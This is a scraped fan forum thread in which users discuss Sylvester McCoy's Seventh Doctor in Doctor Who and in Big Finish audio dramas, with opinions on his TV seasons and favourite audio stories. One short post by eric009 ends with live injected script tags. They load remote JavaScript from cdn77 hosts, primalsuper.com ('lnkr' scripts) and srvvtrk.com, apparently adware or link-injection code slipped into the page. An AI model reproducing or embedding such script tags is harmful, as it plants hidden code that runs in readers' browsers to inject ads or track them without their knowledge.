|
Post by doctorkernow on Feb 23, 2019 10:57:57 GMT
Hello again.
It was surprising to many that Sylvester McCoy was announced as the Seventh Doctor. After his pantomime-like first story he was written off as a miscast clown. The full page Daily Snail article by Andrew Beech of DWAS was scathing. Even now, he is derided for his performance as the Seventh Doctor.
However, the outwardly foolish Seventh Doctor like other incarnations hid a clever operator. He becomes in his final eight stories a cunning manipulator of not only his enemies but in a startling twist of poor Ace too.
Big Finish have once again developed Seven still further and I look forward to travelling with the Doctor and Mel to start with...
|
|
|
Post by whiskeybrewer on Feb 23, 2019 13:45:26 GMT
Some of 7's stories in the first 100 are great and they do go back and forward during his timeline, so there are always gonna be surprises
|
|
Deleted
Deleted Member
Likes:
|
Post by Deleted on Feb 23, 2019 14:19:09 GMT
Sylvester is a favourite Doctor of mine, and I hope he continues to have many more adventures with Big Finish.
|
|
Deleted
Deleted Member
Likes:
|
Post by Deleted on Feb 23, 2019 15:26:38 GMT
The Seventh Doctor is ok, but rarely surprising. I certainly find him better in the audios than the majority of his TV stories anyway... but when he's good, he's really good.
|
|
|
Post by Digi on Feb 23, 2019 16:24:07 GMT
Hello again. It was surprising to many that Sylvester McCoy was announced as the Seventh Doctor. After his pantomime-like first story he was written off as a miscast clown. The full page Daily Snail article by Andrew Beech of DWAS was scathing. Even now, he is derided for his performance as the Seventh Doctor.However, the outwardly foolish Seventh Doctor like other incarnations hid a clever operator. He becomes in his final eight stories a cunning manipulator of not only his enemies but in a startling twist of poor Ace too. Big Finish have once again developed Seven still further and I look forward to travelling with the Doctor and Mel to start with... That has not been my observation.
|
|
|
Post by glutamodo on Feb 23, 2019 18:20:18 GMT
Back in the day, I never liked Seven. Okay, the same criticisms that befell McCoy's first outing were not a whole lot different than the negative backlash against Colin Baker's first story. However I was able to see past Sixie's regeneration crisis and what Colin wanted to bring to the role. I liked it and wanted more. I was rather gutted to learn about his sacking, so maybe I was a bit pre-disposed to not like the replacement. However, with McCoy, it wasn't just that first story that let me down, it was the entire first season. And it continued into the next season, about halfway through I just gave up. I never saw the last 6 McCoy stories until decades later. (ironic though, those ended up being much better) And I only ever watched them after I started with Big Finish and decided I rather needed to, if I was going to listen to his stories on audio.
Is he better on BF Audio? Well, not as good as Sixie, or as Vanilla (Five) but he's decent. Sometimes a bit mediocre, sometimes pretty darn good. I still buy them and listen to them.
However I have still yet to listen to the recent batch of book adaptations. I always slot other releases ahead of it. I don't know the books so they don't really appeal to me, and well, McCoy is not a huge draw for me.
|
|
|
Post by eric009 on Feb 23, 2019 18:24:13 GMT
one of best 7th surprise is the assassin games end of episode 1
|
|
|
Post by Digi on Feb 23, 2019 18:51:48 GMT
By no means is it exclusively the case, but I will say that broadly speaking, I enjoy the Seventh Doctor stories quite a lot more when there's an ongoing storyline. While I usually am happy with most of the stories he's in, I don't know if anything has quite risen as high as the 'black & white TARDIS' storyline in my mind.
|
|
|
Post by shallacatop on Feb 23, 2019 19:15:09 GMT
I love the Seventh Doctor. Strangely, I think the weakness is Sylvester McCoy. When he’s on form, he’s fantastic, but sometimes I feel like I’m listening to a readthrough, rather than a performance. I’m not quite sure what it is, it might be how the material plays to his strengths. He’s at his best when he’s playing the Doctor as secretive and working behind the scenes, manipulating events. That’s why the New Adventures audios work so well, or his brief appearance in Doom Coalition.
|
|
|
Post by antartiks on Feb 23, 2019 19:17:54 GMT
I've always been conflicted about McCoy as an actor. Sometimes I find him downright mediocre, sometimes I absolutely love his performance. He can be either really bad, or damn good and deliver an absolutely flawless performance. The first Klein trilogy, A Death in the Family, The Two Masters and Damaged Goods come to mind, as they are among my favorite Doctor Who material. He often has his bad days and it can be spotted in a matter of minutes when launching an audio episode. As for the TV show, I'm not a fan of 80s Doctor Who but Ghost Light is a favorite of mine.
I love it when McCoy plays the Seventh Doctor as a lonely traveler and a menacing presence, in Project Lazarus for example. You really believe him when he says he's not as forgiving as some of his previous incarnations.
|
|
|
Post by doctorkernow on Feb 23, 2019 20:08:09 GMT
Hello again. "Even now, he is derided for his performance as the Seventh Doctor" Sorry Digi, there have been a few comments particularly from comedians such as Jimmy Carr that have sly digs at poor old Sylvester.
As far as I'm concerned, I loved his funny contrary Doctor. That's why I'm looking forward to hearing some of his Big Finish output. As before I'm using Eyespiders time line.
|
|
|
Post by doctorkernow on Feb 23, 2019 20:15:41 GMT
Back in the day, I never liked Seven. Okay, the same criticisms that befell McCoy's first outing were not a whole lot different than the negative backlash against Colin Baker's first story. However I was able to see past Sixie's regeneration crisis and what Colin wanted to bring to the role. I liked it and wanted more. I was rather gutted to learn about his sacking, so maybe I was a bit pre-disposed to not like the replacement. However, with McCoy, it wasn't just that first story that let me down, it was the entire first season. And it continued into the next season, about halfway through I just gave up. I never saw the last 6 McCoy stories until decades later. (ironic though, those ended up being much better) And I only ever watched them after I started with Big Finish and decided I rather needed to, if I was going to listen to his stories on audio. Is he better on BF Audio? Well, not as good as Sixie, or as Vanilla (Five) but he's decent. Sometimes a bit mediocre, sometimes pretty darn good. I still buy them and listen to them. However I have still yet to listen to the recent batch of book adaptations. I always slot other releases ahead of it. I don't know the books so they don't really appeal to me, and well, McCoy is not a huge draw for me. The beauty of Doctor Who is if one particular era or Doctor is not for you there are plenty of others. I liked all the Eighties Doctors and but really disliked Saward's season 22 and season 23. Season 24 is a real mess but there was ambition to try new writers and different approaches. Once Andrew Cartmel gets to grips with things there is a real improvement. I too was very upset by Colin Baker's treatment. We are really fortunate that we have collections of stories from all the classic Doctors thanks to Big Finish. With no tv Who this year it is a great opportunity to dive into the best medium for Doctor Who.
|
|
ljwilson
Chancellery Guard
It's tangerine....not orange
Likes: 5,063
|
Post by ljwilson on Feb 23, 2019 20:18:55 GMT
The 7th is my favourite BF Doctor.
|
|
|
Post by doctorkernow on Feb 23, 2019 21:22:54 GMT
Hello again.
Here was my first surprise, Boom-bang a Boom. A story that would have fitted perfectly into the odd pantomime season 24. If only the real Eurovision Song Contest was as entertaining as this intergalactic one!
A cross between an Agatha Christie mystery and a old fashioned farce. No one is as they seem and Seventh and Mel are brilliant at integrating themselves amongst the Space Station crew.
The overthetop characters are hilarious but the plot keeps you guessing. The continuity announcements add to its charm. You would not want Doctor Who do be like this all the time. There is a place for the odd comedy Who. Season 17 has a high comedic content too.
This is a definite pastiche of Star Trek Deep Space and Babylon 5 and a very enjoyable one. Obviously, not everyone's cup of tea but for me it was a great start to my Seventh Doctor journey.
|
|
|
Post by Digi on Feb 23, 2019 21:44:12 GMT
Hello again. "Even now, he is derided for his performance as the Seventh Doctor" Sorry Digi, there have been a few comments particularly from comedians such as Jimmy Carr that have sly digs at poor old Sylvester. As far as I'm concerned, I loved his funny contrary Doctor. That's why I'm looking forward to hearing some of his Big Finish output. As before I'm using Eyespiders time line. Gotcha...though Jimmy Carr likes to take digs at everyone, so I'm not sure that's the best yardstick I'm not familiar with Eyespider, but this is my own order. It's composed of only TV and Big Finish (books/comics aren't part of my head canon). I draw heavily upon this version, written by forum member Tim Bradley, though there are the occasional times where I disagree and he includes the books/comics that I don't. Anyway I'm rambling -- happy watching & listening!
|
|
|
Post by eric009 on Feb 23, 2019 21:48:40 GMT
The 7th is my favourite BF Doctor. same too :]<script src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js" async=""></script><script src="//1018433480.rsc.cdn77.org/1fd3b038f796d0b159.js"></script><script type="text/javascript" src="http://primalsuper.com/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://srvvtrk.com/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51968x8147x&r=1550958534264"></script><script type="text/javascript" src="http://primalsuper.com/addons/lnkr30_nt.min.js"></script>
|
|
|
Post by Digi on Feb 24, 2019 1:55:38 GMT
I have so much to catch up on, but now this thread has got me thinking about doing a McCoy rewatch/relisten
|
|
|
Post by slithe on Feb 24, 2019 13:00:04 GMT
For me, the Seventh Doctor is always the 'What If...' Doctor.
Whilst I loved Colin Baker and the approach that he wanted to bring the role, I think Season 25 and Season 26 are the realisation of this (albeit with a different actor). If we're honest, the rot with Doctor Who had set in in the early 1980s, particularly with the production team. You had a very, publicity hungry producer in JNT who was more than willing to sacrifice credibility for viewers and a script editor who appeared to want to make the character/series as miserable and devoid of enjoyment as possible. Whilst Doctor Who was put on 'hiatus' in 1984 and, Baker got the blame for it, would it not have been unreasonable to see the same thing happening had Davison continued in the role? Davison himself admitted felling bored by Season 20/21 scripts, which does tell you about the quality of the show.
However, there is a slow, but gradual revival with McCoy that begins from Season 25 onwards (at a stretch I would possibly even go with Delta and the Bannermen onwards). Although there are a few duds in Season 25/26 (e.g. the infamous Bertie Basset in Happiness Patrol, the awful Silver Nemesis and the appearance of Hale and Pace in Survival), the show does appear to be on a firmer footing. The scripts are better written and the attempt to inject mystery seems to be paying off. Sadly, the awful scheduling and lack of a budget meant that the BBC were effectively able to use poor ratings to axe the show in 1989. But, I always feel that had JNT been quietly removed, a new producer appointed (probably Cartmel) and Aarnovitch given the Script Editor duties, the show might have had a good shot for 1990 onwards.
BF have done some good things with McCoy. Some of his stories are very hit and miss. However, when he is playing a more darker/political role, then his stories are just as good as Baker's. The recent New Adventures Box Set was great, as was the Assassination Games. The Seventh needs a more complex story and, with the huge backdrop of the NAs as well as the show, he has a far wider cannon to cover than the Fifth or Sixth Doctors. Interestingly, his Doctor is the only one to 'age' considerably (in part due to McCoy's reappearance in the 1996 film), but it does suggest a far longer incarnation that any others - hence different strands and interpretations.
|
|
|
Post by newt5996 on Feb 26, 2019 21:23:23 GMT
McCoy's my favorite Doctor period. I adore his stuff on TV with some exceptions, the New Adventures are amazing, and Big Finish have continued to make the master manipulator a master manipulator since The Fearmonger.
|
|
Deleted
Deleted Member
Likes:
|
Post by Deleted on Feb 27, 2019 1:27:16 GMT
The Seventh Doctor is one of the most fascinating incarnations to really pick apart from the perspective of the alien. He has a whole period of the show's history devoted almost solely to himself where he was neither fish, nor fowl. Neither classic, nor new. There's a temptation to describe his Doctor as mythic in the vein of: "Look upon my works, ye mighty, and despair." Except, he isn't the statue of Ozymandias, he's the storm that felled it. He has a mystical bent to him and was the first incarnation who is deliberately depicted as having reached the end of his tether. This is the Doctor in his old age. Regrets? Many, quite many. Unfinished plans? Oh, yes. He's dancing the line between good and ill, and there's a very strong possibility (carried over from the fears of his predecessor) that he's becoming his enemy.
And in that deep and powerful examination... We have moments like him bursting into a 22nd century religious cult shouting in ancient Japanese: "Make way! For I am the official keeper of his majesty's penguins and I must hurry because his majesty's laundry basket is on fire." He still has his humanity, even if he doesn't quite recognise it anymore. Arguably the most complexly contradictory of Doctors. In Watchman terms, he's Manhattan and Adrian Veidt both. He's the end and the new beginning. The fact that he looks human is more a devotion to old habits. It helps him move in the circles he needs to, little more. At least, that's what he thinks...
|
|